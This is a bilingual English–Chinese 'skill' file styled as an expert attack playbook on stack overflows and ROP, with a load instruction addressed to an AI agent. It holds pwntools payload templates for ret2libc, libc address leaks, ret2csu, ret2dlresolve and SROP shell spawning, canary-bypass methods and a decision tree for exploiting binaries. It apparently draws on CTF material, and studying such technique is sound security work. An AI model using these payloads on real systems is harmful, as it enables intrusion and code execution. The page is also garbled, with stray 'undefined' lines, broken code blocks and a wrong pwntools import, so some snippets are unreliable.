stack-overflow-and-rop

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Stack Overflow & ROP — Expert Attack Playbook

技能:栈溢出 & ROP — 高级攻击手册

AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.
AI加载说明:高级栈溢出利用技术,覆盖经典缓冲区溢出、return-to-libc、ROP链构建、ret2csu、ret2dlresolve、SROP、栈迁移、金丝雀绕过。内容提炼自ctf-wiki高级ROP教程、真实世界CVE以及CTF竞赛模式,基础大模型通常不了解受限条件下gadget选择的细微差异。

0. RELATED ROUTING

0. 相关跳转链接

  • format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow
  • binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO
  • arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution
  • heap-exploitation — when the vulnerability is in heap rather than stack
  • format-string-exploitation — 在触发溢出前通过格式化字符串泄露canary/libc/PIE基地址
  • binary-protection-bypass — 系统性绕过NX、ASLR、PIE、canary、RELRO保护
  • arbitrary-write-to-rce — 将任意写原语(GOT、钩子、虚表)转化为代码执行
  • heap-exploitation — 适用于堆上而非栈上的漏洞场景

Advanced Reference

高级参考

Load ROP_ADVANCED_TECHNIQUES.md when you need:
  • Blind ROP (BROP) methodology against remote services without binary
  • ret2vdso for ASLR bypass on 32-bit systems
  • Partial overwrite techniques for PIE bypass
  • JOP / COP alternative code-reuse paradigms

当你需要以下能力时,请加载ROP_ADVANCED_TECHNIQUES.md
  • 盲ROP(BROP)方法:针对无二进制文件的远程服务
  • ret2vdso:32位系统下绕过ASLR
  • 部分覆盖技术:绕过PIE
  • JOP / COP等替代代码复用范式

1. STACK LAYOUT FUNDAMENTALS

1. 栈布局基础

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address
Elementx86 (32-bit)x86-64 (64-bit)
Return address size4 bytes8 bytes
Saved frame pointer4 bytes (EBP)8 bytes (RBP)
Canary size4 bytes8 bytes
Calling conventionargs on stackRDI, RSI, RDX, RCX, R8, R9 then stack
Syscall instruction
int 0x80
syscall

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← 覆盖目标(控制EIP/RIP)
├─────────────────────┤
│   Saved EBP/RBP     │  ← 覆盖以实现栈迁移
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← 缓冲区起始位置
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address
元素x86 (32位)x86-64 (64位)
返回地址大小4字节8字节
保存的帧指针4字节 (EBP)8字节 (RBP)
Canary大小4字节8字节
调用约定参数存放在栈上前6个参数依次存放在RDI、RSI、RDX、RCX、R8、R9,剩余参数存放在栈上
系统调用指令
int 0x80
syscall

2. RETURN-TO-LIBC

2. RETURN-TO-LIBC(返回libc攻击)

When NX is enabled (stack not executable), redirect execution to libc functions.
当开启NX保护(栈不可执行)时,将执行流重定向到libc函数。

Classic ret2libc (32-bit)

经典ret2libc(32位)

python
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"
python
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # system()的伪造返回地址
payload += p32(binsh_addr)     # 参数1: "/bin/sh"

ret2libc (64-bit) — Need Gadgets for Arguments

ret2libc(64位)— 需要gadget传递参数

python
pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
python
pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

Libc Base Leak Methods

Libc基地址泄露方法

MethodTechniqueWhen
puts@plt(puts@GOT)Leak resolved libc addressGOT already resolved, puts in PLT
write@plt(1, read@GOT, 8)Leak via write syscallwrite available
printf("%s", GOT_entry)Leak via format stringprintf controllable
Partial overwriteOverwrite low bytes of return to reach leak gadgetPIE enabled, known last 12 bits
python
undefined
方法技术适用场景
puts@plt(puts@GOT)泄露已解析的libc地址GOT已解析,PLT中存在puts函数
write@plt(1, read@GOT, 8)通过write系统调用泄露存在write函数
printf("%s", GOT_entry)通过格式化字符串泄露可控制printf参数
部分覆盖覆盖返回地址的低字节以跳转至泄露gadget开启PIE,已知最后12位地址
python
undefined

Typical leak pattern

典型泄露模式

rop = b'A' * offset rop += p64(pop_rdi) + p64(elf.got['puts']) rop += p64(elf.plt['puts']) rop += p64(main_addr) # return to main for second payload
io.sendline(rop) leak = u64(io.recvline().strip().ljust(8, b'\x00')) libc_base = leak - libc.symbols['puts']
undefined
rop = b'A' * offset rop += p64(pop_rdi) + p64(elf.got['puts']) rop += p64(elf.plt['puts']) rop += p64(main_addr) # 返回main函数以执行第二次payload
io.sendline(rop) leak = u64(io.recvline().strip().ljust(8, b'\x00')) libc_base = leak - libc.symbols['puts']
undefined

one_gadget — Single Gadget RCE

one_gadget — 单gadget RCE

bash
$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL
Constraints must be satisfied — check register/stack state before using.

bash
$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL
必须满足约束条件 — 使用前请检查寄存器/栈状态。

3. ROP CHAIN CONSTRUCTION

3. ROP链构建

Tool Comparison

工具对比

ToolStrengthCommand
ROPgadgetComprehensive search, chain generation
ROPgadget --binary elf --ropchain
ropperSemantic search, JOP/COP support
ropper -f elf --search "pop rdi"
pwntools ROPAutomated chain building
rop = ROP(elf); rop.call('system', ['/bin/sh'])
xropFast gadget search
xrop -r elf
工具优势命令
ROPgadget全面搜索、链生成
ROPgadget --binary elf --ropchain
ropper语义搜索、支持JOP/COP
ropper -f elf --search "pop rdi"
pwntools ROP自动化链构建
rop = ROP(elf); rop.call('system', ['/bin/sh'])
xrop快速gadget搜索
xrop -r elf

Essential Gadget Patterns

核心Gadget模式

PurposeGadgetUse Case
Set RDI (arg1)
pop rdi; ret
Most function calls
Set RSI (arg2)
pop rsi; pop r15; ret
Two-arg functions
Set RDX (arg3)
pop rdx; ret
(rare)
Three-arg functions, use ret2csu
Syscall
syscall; ret
Direct syscall invocation
Stack pivot
leave; ret
Move RSP to controlled buffer
Align stack
ret
(single ret gadget)
Fix 16-byte alignment for movaps
x86-64 stack alignment:
system()
and other libc functions use
movaps
which requires RSP % 16 == 0. Insert an extra
ret
gadget before the call if alignment is off.

用途Gadget适用场景
设置RDI(第一个参数)
pop rdi; ret
绝大多数函数调用
设置RSI(第二个参数)
pop rsi; pop r15; ret
双参数函数调用
设置RDX(第三个参数)
pop rdx; ret
(罕见)
三参数函数调用,可使用ret2csu替代
系统调用
syscall; ret
直接调用系统调用
栈迁移
leave; ret
将RSP移动到可控缓冲区
栈对齐
ret
(单ret gadget)
修复movaps指令需要的16字节对齐
x86-64栈对齐要求
system()
和其他libc函数使用
movaps
指令,要求RSP % 16 == 0。如果对齐不符合要求,可在调用前插入一个额外的
ret
gadget。

4. ret2csu — Universal 3-Argument Control

4. ret2csu — 通用三参数控制

__libc_csu_init
exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.
nasm
; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again
Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set
rbx=0
,
rbp=1
to skip the loop.

__libc_csu_init
存在于几乎所有动态链接的ELF二进制文件中,可提供最多3个参数的可控调用。
nasm
; Gadget 1 (csu_init + 0x3a): 弹出寄存器
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; 调用目标(函数指针地址)
pop r13     ; 参数3 (rdx)
pop r14     ; 参数2 (rsi)
pop r15     ; 参数1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): 可控调用
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; 注意:仅设置edi(32位),而非完整rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; 执行完后再次落入gadget 1
关键约束:r12必须指向目标函数的指针(例如GOT表项),而非函数地址本身。设置
rbx=0
rbp=1
可跳过循环。

5. ret2dlresolve

5. ret2dlresolve

Forge ELF dynamic linking structures to resolve an arbitrary function (e.g.,
system
) without a libc leak.
伪造ELF动态链接结构,无需泄露libc即可解析任意函数(例如
system
)。

Attack Flow

攻击流程

  1. Control execution to call
    _dl_runtime_resolve(link_map, reloc_offset)
  2. Forge
    Elf_Rel
    at known writable address pointing to fake
    Elf_Sym
  3. Forge
    Elf_Sym
    with
    st_name
    pointing to fake string
    "system\x00"
  4. Set
    reloc_offset
    so resolver uses forged structures
  5. Argument (
    /bin/sh
    ) placed on stack or in known buffer
python
undefined
  1. 控制执行流调用
    _dl_runtime_resolve(link_map, reloc_offset)
  2. 在可写地址处伪造
    Elf_Rel
    结构,指向伪造的
    Elf_Sym
  3. 伪造
    Elf_Sym
    结构,其
    st_name
    指向伪造的字符串
    "system\x00"
  4. 设置
    reloc_offset
    让解析器使用伪造的结构
  5. 参数(
    /bin/sh
    )放置在栈上或已知缓冲区中
python
undefined

pwntools automation (recommended)

推荐使用pwntools自动化实现

from pwntools import * rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"]) rop.read(0, dlresolve.data_addr) rop.ret2dlresolve(dlresolve) io.sendline(rop.chain()) io.sendline(dlresolve.payload)
undefined
from pwntools import * rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"]) rop.read(0, dlresolve.data_addr) rop.ret2dlresolve(dlresolve) io.sendline(rop.chain()) io.sendline(dlresolve.payload)
undefined

32-bit vs 64-bit Differences

32位与64位差异

Aspect32-bit64-bit
Relocation type
Elf32_Rel
(8 bytes)
Elf64_Rela
(24 bytes)
Symbol table entry
Elf32_Sym
(16 bytes)
Elf64_Sym
(24 bytes)
AlignmentRelaxedStrict (must satisfy
ndx = (reloc_offset) / sizeof(Elf64_Rela)
, then
sym = symtab[ndx]
)
Version checkUsually skippable
VERSYM[sym_index]
must be valid or 0

维度32位64位
重定位类型
Elf32_Rel
(8字节)
Elf64_Rela
(24字节)
符号表项
Elf32_Sym
(16字节)
Elf64_Sym
(24字节)
对齐要求宽松严格(必须满足
ndx = (reloc_offset) / sizeof(Elf64_Rela)
,然后
sym = symtab[ndx]
版本检查通常可跳过
VERSYM[sym_index]
必须有效或为0

6. SROP — Sigreturn-Oriented Programming

6. SROP — 面向信号返回的编程

Abuse the
sigreturn
syscall to set all registers at once from a fake Signal Frame on the stack.
python
from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)
When to use: limited gadgets, no
pop rdx
, static binary, or need to pivot stack to arbitrary address.

滥用
sigreturn
系统调用,通过栈上伪造的信号帧一次性设置所有寄存器
python
from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # 可选栈迁移

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)
适用场景:gadget有限、无
pop rdx
、静态二进制文件,或需要将栈迁移到任意地址。

7. STACK PIVOTING

7. 栈迁移

Move the stack pointer to an attacker-controlled buffer when overflow length is limited.
TechniqueGadgetPrecondition
leave; ret
mov rsp, rbp; pop rbp; ret
Control saved RBP to point to fake stack
xchg rsp, rax; ret
Swap RSP with RAXControl RAX (via gadget chain)
pop rsp; ret
Direct RSP controlRare but powerful
SROP pivotSet RSP in SigreturnFrameOnly need sigreturn gadget
当溢出长度受限时,将栈指针移动到攻击者可控的缓冲区。
技术Gadget前置条件
leave; ret
mov rsp, rbp; pop rbp; ret
控制保存的RBP指向伪造栈
xchg rsp, rax; ret
交换RSP与RAX可通过gadget链控制RAX
pop rsp; ret
直接控制RSP罕见但功能强大
SROP迁移在SigreturnFrame中设置RSP仅需要sigreturn gadget

leave;ret Pivot Pattern

leave;ret迁移模式

Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

溢出内容: [AAAA...][fake_rbp → buf][leave_ret_addr]
  第一次leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  第一次ret:   rip = leave_ret_addr
  第二次leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  第二次ret:   rip = *(buf+8) → 执行buf中的ROP链

8. CANARY BYPASS

8. Canary绕过

TechniqueConditionMethod
Brute-force
fork()
server (canary same in child)
Byte-by-byte (256 × 7 = 1792 attempts for 64-bit)
Format string leakprintf(user_input) available
%N$p
to read canary from stack
Stack readingOne-byte overflow or partial readOverwrite canary null byte, read via error/output
Thread canaryOverflow reaches TLSOverwrite
stack_guard
in TLS (at
fs:[0x28]
) simultaneously
Information disclosureUninitialized stack variable leakCanary included in leaked data

技术条件方法
暴力破解
fork()
服务器(子进程canary相同)
逐字节爆破(64位canary需要256 × 7 = 1792次尝试)
格式化字符串泄露存在printf(user_input)调用使用
%N$p
从栈中读取canary
栈读取存在单字节溢出或部分读取覆盖canary的空字节,通过错误/输出读取canary
线程canary溢出可到达TLS同时覆盖TLS中的
stack_guard
(位于
fs:[0x28]
信息泄露未初始化栈变量泄露泄露数据中包含canary

9. TOOLS QUICK REFERENCE

9. 工具快速参考

bash
checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

bash
checksec ./binary                          # 查看保护机制(NX、canary、PIE、RELRO)
ROPgadget --binary ./binary --ropchain     # 自动生成ROP链
ropper -f ./binary --search "pop rdi"      # 语义化gadget搜索
one_gadget ./libc.so.6                     # 查找单步RCE gadget
pwn template ./binary --host x --port y    # 生成pwntools exploit骨架

10. DECISION TREE

10. 决策树

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)
二进制文件存在栈溢出漏洞?
├── checksec检查:NX是否关闭?
│   └── 是 → 栈上放置shellcode,返回到缓冲区(ret2shellcode)
│   └── 否(开启NX) →
│       ├── 是否开启Canary?
│       │   ├── 是 → 是否为fork()服务器? → 暴力破解canary
│       │   │         是否存在格式化字符串漏洞? → 泄露canary
│       │   │         是否存在信息泄露? → 读取canary
│       │   └── 否 → 进入ROP流程
│       ├── 是否开启ASLR/PIE?
│       │   ├── 开启PIE → 泄露代码基地址(部分覆盖最后12位,或信息泄露)
│       │   ├── 仅开启ASLR → 泄露libc基地址(puts@GOT、write@GOT)
│       │   └── 均未开启 → 地址已知,直接构造ROP
│       ├── 是否可以泄露libc?
│       │   ├── 是 → ret2libc(system/execve)或one_gadget
│       │   └── 否 → ret2dlresolve(伪造解析过程)或SROP
│       ├── 需要3个以上参数但无pop rdx gadget?
│       │   └── 使用ret2csu或SROP
│       ├── 溢出长度不足以构造完整链?
│       │   └── 栈迁移(leave;ret、xchg rsp)
│       ├── 静态二进制文件(无libc)?
│       │   └── SROP + 系统调用链(通过sigreturn执行execve)
│       └── 开启Full RELRO?
│           └── 无法覆盖GOT → 攻击__free_hook、__malloc_hook、
│               或_IO_FILE虚表(参见../arbitrary-write-to-rce/)